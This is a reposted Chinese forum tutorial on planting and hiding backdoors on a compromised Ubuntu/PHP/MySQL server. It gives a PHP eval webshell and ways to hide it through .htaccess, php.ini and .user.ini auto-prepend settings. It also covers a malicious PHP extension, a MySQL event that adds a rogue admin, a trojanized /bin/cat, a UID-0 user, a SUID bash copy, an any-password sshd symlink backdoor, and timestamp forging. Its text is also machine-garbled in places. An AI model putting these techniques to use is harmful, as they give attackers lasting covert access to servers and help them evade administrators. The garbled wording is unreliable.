ubuntu 16.04 + php + mysql
其余不同操作基于不同权限 有可能是root 有可能是webserver的权限
Webshell/Web

> 基于web做事的一句话下和管理员进行的捉迷藏
一个最大略的webshell一句话
1.藏于一些对方的文件下,比如upload/image/等文件夹里夹带着大量文件的文件夹
1.你可以直接写成php后缀的文件 当然 这很随意马虎被创造
2.可以利用htaccess文件进行重写
在我的环境下(上文提及) 默认是不开启rewrite
ps:我以前是在的centos之类的做的多 ubuntu我还找了一下配置文件
sudo a2enmod rewritesudo vim /etc/apache2/sites-enabled/000-default#将/var/www 下的AllowOverride None 修正为 AllowOverride All,如果没有看到这项内容,可以修正apache2.conf配置文件:sudo vim /etc/apache2/apache2.confsudo /etc/init.d/apache2 restart
基于htaccess bakcdoor操作的有很多我也是抛砖引玉
弊端:
虽然说大部分网站都是会主动开启rewrite 但是还是怕脸黑 如果须要开rewrite 是须要root权限重启做事的 而且修正的配置文件多 动静大越来越多的管理员有安全意识 类似存放Img文件 doc文件会开启禁止实行的权限限定优点:
虽然也不算什么优点 但还是说说.htaccess 在linux中是.开头 属于隐蔽文件 ls可能还没瞥见 如果在一个正常的图片中插入代码可能更难创造img code <phpwebshell>img code权限在不用开启rewrite的情景下 只用webserver其余 如果文件名最好是符合同文件夹下的命名规则 例如xxx韶光撮.jpg 这样子管理员追查日志更难找到 而不是能干的1.jpg konjac.jpg xxx.jpg....暂时想不到 loading....还有关于这种操作的技巧希望还有大佬们讲讲
2.藏于php.ini
php.ini是php的配置文件 可以用来掌握php的某些功能 在这个文件上可以做很多操作举个例子
在/etc/php7.0/apache2/php.ini中 (本文测试环境,往后的路径都不再解释)
; Automatically add files before PHP document.; http://php.net/auto-prepend-fileauto_prepend_file =; Automatically add files after PHP document.; http://php.net/auto-append-fileauto_append_file =
个中有这样子的2个配置
auto_prepend_file =
auto_append_file =
根据注释可以看明白 一个是在php文档之前自动添加文件。一个是在php文档后自动添加文件。
我们来实验一下
修正php.ini文件 这个参数是受到include_path限定的 以是我们给这2个参数进行修正 我这里放在了网站目录 你也可以放在别的php有权限的地方更加暗藏 比如/tmp /etc/php/xxx/等等
修正参数往后我一贯重启php创造没有生效 然后才知道是重启apache
重启往后访问一个文件
的确是在test.php 前面自动include了一个文件
然后我们延伸一下 自php5.3开始 php支持基于每个目录的.htaccess风格的ini文件 说的普通点 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被实行的 PHP 文件所在目录开始一贯上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被实行的 PHP 文件在 web 根目录之外,则只扫描该目录。
当然了 不是php.ini所有的设置你都可以做操作 是有详细模式的
PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定
PHP_INI_PERDIR 可在 php.ini,.htaccess 或 httpd.conf 中设定
PHP_INI_SYSTEM 可在 php.ini 或 httpd.conf 中设定
PHP_INI_ALL 可在任何地方设定
详细模式可以看官方的文档http://php.net/manual/zh/ini.list.php
实际上 除了 php_ini_system 别的都可以利用 .user.ini掌握
一开始我的.user.ini一贯未生效 以为是有300秒的生效韶光 结果创造是
不管是 nginx/apache/IIS,只假如以fastcgi运行的php都可以用这个方法
apache 一样平常不是fastcgi 得装模块 为了节省韶光我就用.htaccess来实验
把稳.htaccess的写法 有点不一样
只是一些很多年前就有的操作了 希望有大佬们多分享一下
优点:
可以知道 我们只要有webserver的权限就kyii通过.htaccess/.user.ini来掌握所有的php文件包含后门动静不大 动的东西不多弊端:
隐蔽性不高 有履历的人都能创造待补充....
3.制作.so扩展后门
PHP扩展简介PHP扩展库(在Linux中为.so,在Windows中为.dll),它们供应了添加可以从实行的PHP脚本调用的新函数集的可能性。扩展可以利用php.ini文件中的定义自动加载,参数名为“extension”; 或者利用函数dl()从将要实行的PHP脚本代码动态实行 其余刚刚去看了看官方手册 dl函数已经在新版本删了0x01:
http://cn2.php.net/distributions/
先去下载一个php下来 然后解压
$ cd phpxxx/$ ./configure $ make$ cd etx$ ./etx_skel --extname=konjac # [backdoorname]$ cd konjac
在创建的文件中,有一个konjac.c文件 然后这里写明几点
PHP_FUNCTION() 是用来 将被导出 以便用来 从php中实行的函数 这里可以定义所须要的新功能。PHP_MINT_FUNCTION() 每当php解析器启动时,都会实行你利用这个注册的代码,还有一个便是 你添加的代码都是root身份实行的,是一种利用特权实行代码的方法。PHP_MSHUTDOWN_FUNCTION() 这个代码是该当在停滞php解析器之前实行的 看这个shutdown的单词就猜到了PHP_RINT_FUNTION() 这个是在php文件实行启动时实行PHP_RSHUTDOWN_FUNCTION() 这个是在php文件实行结束时实行。PHP_MINFO_FUNCTION() 这个因此phpinfo的形式显示。用来检测扩展是否精确加载。我们打开config.m4这个文件 取消下面三行的注释
#这里的注释不是# 是dnl PHP_ARG_ENABLE(backdoor, whether to enable backdoor support, Make sure that the comment is aligned: [ --enable-backdoor Enable backdoor support])
然后顺手改改konjac.c里面的代码 看看测试效果
PHP_MINFO_FUNCTION(konjac){ php_info_print_table_start(); php_info_print_table_header(2, \"大众konjac test hack\公众, \"大众enabled\"大众); php_info_print_table_end();}
修正保存往后实行
$ phpize # 如果没有 apt-get install phpiz$ ./configure$ make
成功的效果图:
然后修正php.ini
extension=/tmp/konjac.so
我测试了3个小时 自己给自己挖了个坑 创造网上大多是php5的扩展编译资料 没看到php7的 一贯不知道为何get或者post的参数获取不到 后来想了想 我都能编译扩展库了 system函数一把梭
在konjac.c中添加如下demo测试代码
这样子我每次访问php文件就会实行这个代码
$ cat /tmp/konjackonjac
其余 这里韶光关系就不演示了 解释几点
可能说这个动的文件多 但是这里操作空间很大
比如 php.ini加载是加载一次的 以是我们可以
利用PHP_MINT_FUNCTION(是root权限)在php开启的时候把php.ini里面的extension删除 然后修正韶光撮
利用PHP_MSHUTDOWN_FUNCTION在php做事关闭的时候把php.ini里面的extension加回来 然后修正韶光撮 但是如果对方不是重启 只关闭就可以创造了 想想还有什么骚操作?抛砖引玉
顺便记一个东西
zend_eval_string是在c措辞中实行php代码
int zend_eval_string ( char str, zval retval_ptr, char string_name, magic TSRMLS_DC )第一个参数是字符串型的,便是要实行的PHP代码。 第二个是返回的值,由于是zval型的,以是得先做下初始化,直接操作return_value这个变量是可以直接返回给表面调用的PHP的。 第三个也是字符串,可以随便写,出错了提示地方的,后面接一个变态宏TSRMLS_CC。 例如:zend_eval_string(\公众phpinfo();\"大众,return_value,\"大众konjac\"大众 TSRMLS_DC);
还有不去世马 写进内存 php定时任务之类的 就先不说了。网上都有很多很多总计
web方面的大概写在这里 有点累 实在都是一些老操作 大佬们笑笑就好了
基于MYSQL
1. mysql定时任务
create procedure konjac_test() begin insert into test.admin(admin_user,admin_passwd) values('hackuser','123456'); end //创建一个存储过程 create event e_konjac on schedule every 60 second on completion preserve disable do call konjac_test(); 创建一个定时任务 60秒实行一次存储过程 当然了 我个人以为一天最好 alter event e_konjac on completion preserve enable; //开启定时任务alter event e_konjac on completion preserve disable; //关闭定时任务
也可以写文件 或者实行系统命令之类的 反正都是mysql语句 不一一描述
基于linux文件
linux的功能性强 操作空间也特殊大crontab 定时任务
crond 是linux下用来周期性的实行某种任务或等待处理某些事宜的一个守护进程,与windows下的操持任务类似,当安装完成操作系统后,默认会安装此做事 工具,并且会自动启动crond进程,crond进程每分钟会定期检讨是否有要实行的任务,如果有要实行的任务,则自动实行该任务。
ubuntu的情景下
#ubuntu和cetnos等做事器可能命令有所差异crontab -e #在末了一行添加你要实行的定时任务#每分钟实行一次命令/1 echo konjac >> /tmp/crontabtest#退出来往后 service cron restart可以看出是能成功实行的 至于怎么操作定时任务便是发挥你的脑动啦 或者想想如何让人不创造你的定时任务konjac@konjac-CN15S:/var/spool/cron$ cat /tmp/crontabtest konjackonjackonjackonjackonjackonjac
如何让管理员实行我们的命令
比如我们实行一个命令
cat xxx
是等同于
/bin/cat xxx
那么我们如果在/bin/cat 里面藏后门呢
mv /bin/cat /bin/back_cat #变动实际cat路径方便往后调用vim /bin/cat添加内容:echo \"大众hello i am hackcode\公众/bin/back_cat
然后实行cat test 结果创造成功打印hello i am hackcode 但是一贯在输入的状态
是由于没有参数传给back_cat 以是我们可以利用$1 获取shell的参数来传给back_cat
vim /bin/cat添加内容:echo \公众hello i am hackcode\"大众/bin/back_cat $1
实行
~ cat /var/www/html/shell.php hello i am hackcode<?phpeval($_REQUEST['konjac']);?>
然后又思考了一下 如果屌丝管理员cat 2个文件 或者别的命令有别的参数呢
#vim /bin/catecho \"大众hello i am hackcode\公众for i in \"大众$\公众;do /bin/back_cat $idone
实行
~$ cat shell.php test.php hello i am hackcode<?phpeval($_REQUEST['konjac']);?><?phpecho \"大众hello i am test\公众;?>
是成功实行了cat的浸染和实现实行自己的命令的
其余一些命令记录一下
Linux/Unix 添加 UID 为 0 的用户(肯定是要root权限的啦)
useradd -o -u 0 backdoor
然后去/etc/passwd /etc/shadow中把末了一行 属于backdoor的信息 移到中间 迷惑管理员的眼睛
虽然一个cat /etc/passwd|grep :0的事情 但是说不定可以骗骗半桶水
修正韶光撮
语法:touch -t +韶光撮
konjac@konjac-CN15S:/var/www/html$ sudo touch -t 1401010101.01 konjac.php
ps:前几个星期听某师傅说某公司的检测后门基于韶光撮 我也是醉了 哈哈
添加bash后门
root:~# cp /bin/bash /tmp/.bashroot:~# chmod u+s /tmp/.bashtest@konjac-CN15S:$ /tmp/.bash -p.bash-4.3# iduid=1001(test) gid=1002(test) euid=0(root) 组=1002(test).bash-4.3#
添加ssh后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
实行这个命令往后 ssh这个做事器5555端口 任意密码既可登录root
.bashrc
在~/.bashrc中每次打开新的shell都会自动实行命令
还有LINUX pam 后门 linux openssh后门 rookit后门 各种各样的藏后门 我依稀记得一年前有个师傅还能在ssh的config里面藏后门 基于密钥的那种 手腕太多了 说三天三夜也说不完
综上所述:
思考与对抗
是否可以建立一个linux所有文件的hash对照表 检测什么文件发生了变革 以至于 管理员进行检测多对系统进行备份也是一些比较大略的操作 但是如果稠浊起来利用 可以恶心管理员的 如果你闇练节制往后 再加上一些骚操作举一反三:比如cat 或者 vi 会不会碰着哪种字符会终止 遭到截断 有什么文件 在shell情景下较难删除如何让自己的动静小 尽最大努力保持文件hash 不变 韶光撮不变如何清理自己操作的日志如何记录hack操作的日志文章转载自:https://bbs.ichunqiu.com/thread-49757-1-1.html
本文作者:tllm